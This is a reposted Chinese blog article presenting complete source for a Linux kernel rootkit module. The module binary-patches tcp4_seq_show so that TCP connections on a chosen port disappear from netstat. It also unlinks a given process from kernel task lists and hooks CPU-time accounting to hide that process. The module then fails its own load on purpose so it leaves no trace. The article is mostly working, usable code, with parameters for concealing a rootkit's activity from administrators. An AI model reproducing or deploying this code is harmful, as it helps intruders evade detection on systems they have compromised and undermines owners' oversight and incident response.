Linux系统中隐藏掉你的rootkit的TCP连接_linux 隐藏网络连接

前文中,我描述了一种彻底隐藏进程的方法:
https://blog.csdn.net/dog250/article/details/105292504
并且,我给出了如何恢复的方法:
https://blog.csdn.net/dog250/article/details/105371830

但是不过瘾,一般而言,rootkit都是会偷偷建立一个TCP连接的,那么如何不让经理发现这些连接呢?虽然经理看不到进程,但是经理会netstat啊。

使用net namespace可以隐藏所有的连接,方法参见:
https://blog.csdn.net/dog250/article/details/103182447
但是,如此一来,经理会懵的,经理会彻查这是怎么回事,所以这不妥。

必须要仅仅隐藏特定的TCP连接!

显然,将特定的TCP连接从ehash中摘除是一个彻底的方案,然而这需要hotfix tcp_v4_rcv函数,大规模二进制hook的手艺我已经发誓不再玩了,所以这次,我也俗套一把,我来hook掉TCP连接的显示接口,即 tcp4_seq_show!

和常规方法不同的是,我不使用替换operation指针的方法,而是稍微采用二进制hook的方法,我会在tcp4_seq_show的最前面调用下面的逻辑:

void stub_func_tcp_seq_show(struct seq_file *seq, void *v)
{
    // 过滤掉特定端口的TCP连接的显示
    if (v != SEQ_START_TOKEN && ((struct sock *)v)->sk_num == 1234)  {
        // 1234这个立即数是需要根据模块参数校准的,如果符合,便skip掉原始tcp4_seq_show的stack。
        asm ("pop %rbp; pop %r11; xor %eax, %eax; retq;");
    }
}

其实就这么简单,接下来就是例行的poke过程:

void hide_net(struct task_struct *task)
{
    unsigned short *pport;
    char *tcp_stub;
    s32 offset;

    _tcp4_seq_show = (void *)kallsyms_lookup_name("tcp4_seq_show");
    if (!_tcp4_seq_show) {
        printk("_tcp4_seq_show not found\n");
        return;
    }
    hide_tcp4_seq_show = (void *)___vmalloc_node_range(128, 1, START, END,
                                GFP_KERNEL | __GFP_HIGHMEM, PAGE_KERNEL_EXEC,
                                -1, __builtin_return_address(0));
    if (!hide_tcp4_seq_show) {
        printk("nomem\n");
        return;
    }

    memcpy(hide_tcp4_seq_show, stub_func_tcp_seq_show, 0x64);
    pport = (unsigned short *)&hide_tcp4_seq_show[19];
    *pport = port;

    tcp_stub = (void *)hide_tcp4_seq_show;

    jmp_call[0] = 0xe8;

    offset = (s32)((long)tcp_stub - (long)_tcp4_seq_show - FTRACE_SIZE);
    (*(s32 *)(&jmp_call[1])) = offset;

    get_online_cpus();
    mutex_lock(_text_mutex);
    _text_poke_smp(&_tcp4_seq_show[POKE_OFFSET], jmp_call, POKE_LENGTH);
    mutex_unlock(_text_mutex);
    put_online_cpus();
}

虽然这种方法没有直接摘链表的方法彻底,但也是很牛X的,至少比替换operations结构体的方法来的简单吧!

连同之前的隐藏进程的代码一起,完整的代码如下:

#include <linux/module.h>
#include <net/tcp.h>
#include <linux/kernel.h>
#include <linux/kallsyms.h>
#include <linux/sched.h>
#include <linux/sched.h>
#include <linux/nsproxy.h>
#include <linux/cpu.h>

char *stub = NULL;
char *addr_user = NULL;
char *addr_sys = NULL;
char *_tcp4_seq_show = NULL;
unsigned long *percpuoff = NULL;

static unsigned int pid = 0;
module_param(pid, int, 0444);

static unsigned int hide = 1;
module_param(hide, int, 0444);

static unsigned short port = 1234;
module_param(port, short, 0444);

// stub函数模版
void stub_func_account_time(struct task_struct *p, u64 cputime, u64 cputime_scaled)
{
    // 先用0x11223344来占位,模块加载的时候通过pid参数来校准
    if (p->pid == 0x11223344)  {
        asm ("pop %rbp; pop %r11; retq;");
    }
}

void stub_func_tcp_seq_show(struct seq_file *seq, void *v)
{
    // 过滤掉特定端口的TCP连接的显示
    if (v != SEQ_START_TOKEN && ((struct sock *)v)->sk_num == 1234)  {
        asm ("pop %rbp; pop %r11; xor %eax, %eax; retq;");
    }
}

#define FTRACE_SIZE     5
#define POKE_OFFSET     0
#define POKE_LENGTH     5

#define RQUEUE_SIZE     2680
#define TASKS_OFFSET    2344
#define CPU_OFFSET      2336

void * *(*___vmalloc_node_range)(unsigned long size, unsigned long align,
            unsigned long start, unsigned long end, gfp_t gfp_mask,
            pgprot_t prot, int node, const void *caller);
static void *(*_text_poke_smp)(void *addr, const void *opcode, size_t len);
static struct mutex *_text_mutex;

// 需要额外分配的stub函数
char *hide_account_user_time = NULL;
char *hide_tcp4_seq_show = NULL;
unsigned char jmp_call[POKE_LENGTH];

#define START _AC(0xffffffffa0000000, UL)
#define END   _AC(0xffffffffff000000, UL)

void hide_net(struct task_struct *task)
{
    unsigned short *pport;
    char *tcp_stub;
    s32 offset;

    _tcp4_seq_show = (void *)kallsyms_lookup_name("tcp4_seq_show");
    if (!_tcp4_seq_show) {
        printk("_tcp4_seq_show not found\n");
        return;
    }
    hide_tcp4_seq_show = (void *)___vmalloc_node_range(128, 1, START, END,
                                GFP_KERNEL | __GFP_HIGHMEM, PAGE_KERNEL_EXEC,
                                -1, __builtin_return_address(0));
    if (!hide_tcp4_seq_show) {
        printk("nomem\n");
        return;
    }

    memcpy(hide_tcp4_seq_show, stub_func_tcp_seq_show, 0x64);
    pport = (unsigned short *)&hide_tcp4_seq_show[19];
    *pport = port;

    tcp_stub = (void *)hide_tcp4_seq_show;

    jmp_call[0] = 0xe8;

    offset = (s32)((long)tcp_stub - (long)_tcp4_seq_show - FTRACE_SIZE);
    (*(s32 *)(&jmp_call[1])) = offset;

    get_online_cpus();
    mutex_lock(_text_mutex);
    _text_poke_smp(&_tcp4_seq_show[POKE_OFFSET], jmp_call, POKE_LENGTH);
    mutex_unlock(_text_mutex);
    put_online_cpus();

}

void restore_net(struct task_struct *task)
{
    s32 offset = *(unsigned int *)&_tcp4_seq_show[1];

    stub = (char *)(offset + (unsigned long)_tcp4_seq_show + FTRACE_SIZE);

    get_online_cpus();
    mutex_lock(_text_mutex);
    _text_poke_smp(&_tcp4_seq_show[POKE_OFFSET], &stub[0], POKE_LENGTH);
    mutex_unlock(_text_mutex);
    put_online_cpus();

    vfree(stub);
}

void hide_process(void)
{
    struct task_struct *task = NULL;
    struct pid_link *link = NULL;

    struct hlist_node *node = NULL;
    task = pid_task(find_vpid(pid), PIDTYPE_PID);
    link = &task->pids[PIDTYPE_PID];

    list_del_rcu(&task->tasks);
    INIT_LIST_HEAD(&task->tasks);
    node = &link->node;
    hlist_del_rcu(node);
    INIT_HLIST_NODE(node);
    node->pprev = &node;

    printk("task hide is:%p\n", task);

    hide_net(task);
}

#define CRQ_OFFSET  160
int reshow_process(void)
{
    struct list_head *list;
    struct task_struct *p, *n;
    unsigned long *rq_addr, base_rq;
    char *tmp;
    int cpu = smp_processor_id();
    struct task_struct *task = current;
    struct pid_link *link = NULL;

    // 根据current顺藤摸瓜找到本CPU的rq
    tmp = (char *)task->se.cfs_rq;;
    rq_addr = (unsigned long *)(tmp + CRQ_OFFSET);
    tmp = (char *)*rq_addr;

    // 根据本CPU的rq以及per cpu offset找到基准rq在percpu的偏移
    cpu = (int)*(int *)(tmp + CPU_OFFSET);
    base_rq = (unsigned long)tmp - (unsigned long)percpuoff[cpu];

    task = NULL;

    for_each_possible_cpu(cpu) {
        tmp = (char *)(percpuoff[cpu] + base_rq);
        list = (struct list_head *)&tmp[TASKS_OFFSET];
        list_for_each_entry_safe(p, n, list, se.group_node) {
            if (list_empty(&p->tasks)) {
                task = p;
                break;
            }
        }
        if (task) break;
    }

    // 进程可能sleep/wait在某个queue,请唤醒它重试
    if (!task) return 1;

    restore_net(task);

    link = &task->pids[PIDTYPE_PID];

    hlist_add_head_rcu(&link->node, &link->pid->tasks[PIDTYPE_PID]);
    list_add_tail_rcu(&task->tasks, &init_task.tasks);

    return 0;
}

static int __init rootkit_init(void)
{
    // 32位相对跳转偏移
    s32 offset;
    // 需要校准的pid指针位置。
    unsigned int *ppid;


    addr_user = (void *)kallsyms_lookup_name("account_user_time");
    addr_sys = (void *)kallsyms_lookup_name("account_system_time");
    if (!addr_user || !addr_sys) {
        printk("一切还没有准备好!请先加载sample模块。\n");
        return -1;
    }

    // 必须采用带range的内存分配函数,否则我们无法保证account_user_time可以32位相对跳转过来!
    ___vmalloc_node_range = (void *)kallsyms_lookup_name("__vmalloc_node_range");
    _text_poke_smp = (void *)kallsyms_lookup_name("text_poke_smp");
    _text_mutex = (void *)kallsyms_lookup_name("text_mutex");
    if (!___vmalloc_node_range || !_text_poke_smp || !_text_mutex) {
        printk("还没开始,就已经结束。");
        return -1;
    }

    if (hide == 0) {
        offset = *(unsigned int *)&addr_user[1];
        stub = (char *)(offset + (unsigned long)addr_user + FTRACE_SIZE);

        percpuoff = (void *)kallsyms_lookup_name("__per_cpu_offset");
        if (!percpuoff)
            return -1;
        if (reshow_process())
            return -1;

        get_online_cpus();
        mutex_lock(_text_mutex);
        _text_poke_smp(&addr_user[POKE_OFFSET], &stub[0], POKE_LENGTH);
        _text_poke_smp(&addr_sys[POKE_OFFSET], &stub[0], POKE_LENGTH);
        mutex_unlock(_text_mutex);
        put_online_cpus();

        vfree(stub);

        return -1;
    }

    // 为了可以在32位范围内相对跳转,必须在START后分配stub func内存
    hide_account_user_time = (void *)___vmalloc_node_range(128, 1, START, END,
                                GFP_KERNEL | __GFP_HIGHMEM, PAGE_KERNEL_EXEC,
                                -1, __builtin_return_address(0));
    if (!hide_account_user_time) {
        printk("很遗憾,内存不够了\n");
        return -1;
    }

    // 把模版函数拷贝到真正的stub函数中
    memcpy(hide_account_user_time, stub_func_account_time, 0x25);
    // 校准pid立即数
    ppid = (unsigned int *)&hide_account_user_time[12];
    // 使用立即数来比较pid,不然模块释放掉以后pid参数将不再可读
    *ppid = pid;

    stub = (void *)hide_account_user_time;

    jmp_call[0] = 0xe8;

    offset = (s32)((long)stub - (long)addr_user - FTRACE_SIZE);
    (*(s32 *)(&jmp_call[1])) = offset;

    get_online_cpus();
    mutex_lock(_text_mutex);
    _text_poke_smp(&addr_user[POKE_OFFSET], jmp_call, POKE_LENGTH);
    mutex_unlock(_text_mutex);
    put_online_cpus();

    offset = (s32)((long)stub - (long)addr_sys - FTRACE_SIZE);
    (*(s32 *)(&jmp_call[1])) = offset;

    get_online_cpus();
    mutex_lock(_text_mutex);
    _text_poke_smp(&addr_sys[POKE_OFFSET], jmp_call, POKE_LENGTH);
    mutex_unlock(_text_mutex);
    put_online_cpus();

    // 隐藏进程,将其从数据结构中摘除
    hide_process();

    // 事了拂衣去,不留痕迹
    return -1;
}

static void __exit rootkit_exit(void)
{
    // 事了拂衣去了,什么都没有留下,也不必再过问!
}

module_init(rootkit_init);
module_exit(rootkit_exit);
MODULE_LICENSE("GPL");

该模块有三个参数:

  • pid:需要隐藏的进程pid,只有在hide=1时有效。
  • hide:是隐藏(1)还是恢复(0),当隐藏时,需要pid和port。
  • port:需要隐藏的目标端口,目标端口为port的TCP连接都会被隐藏。

放心加载,模块不会加载成功,把事情做了,事了拂衣去,深藏身与名。


浙江温州皮鞋湿,下雨进水不会胖。

原文链接: https://blog.csdn.net/dog250/article/details/105372214

欢迎关注

微信关注下方公众号,第一时间获取干货硬货;公众号内回复【pdf】免费获取数百本计算机经典书籍;

也有高质量的技术群,里面有嵌入式、搜广推等BAT大佬

    Linux系统中隐藏掉你的rootkit的TCP连接_linux 隐藏网络连接

原创文章受到原创版权保护。转载请注明出处:https://www.ccppcoding.com/archives/406039

非原创文章文中已经注明原地址,如有侵权,联系删除

关注公众号【高性能架构探索】,第一时间获取最新文章

转载文章受原作者版权保护。转载请注明原作者出处!

(0)
上一篇 2023年4月26日 上午9:35
下一篇 2023年4月26日 上午9:35

相关推荐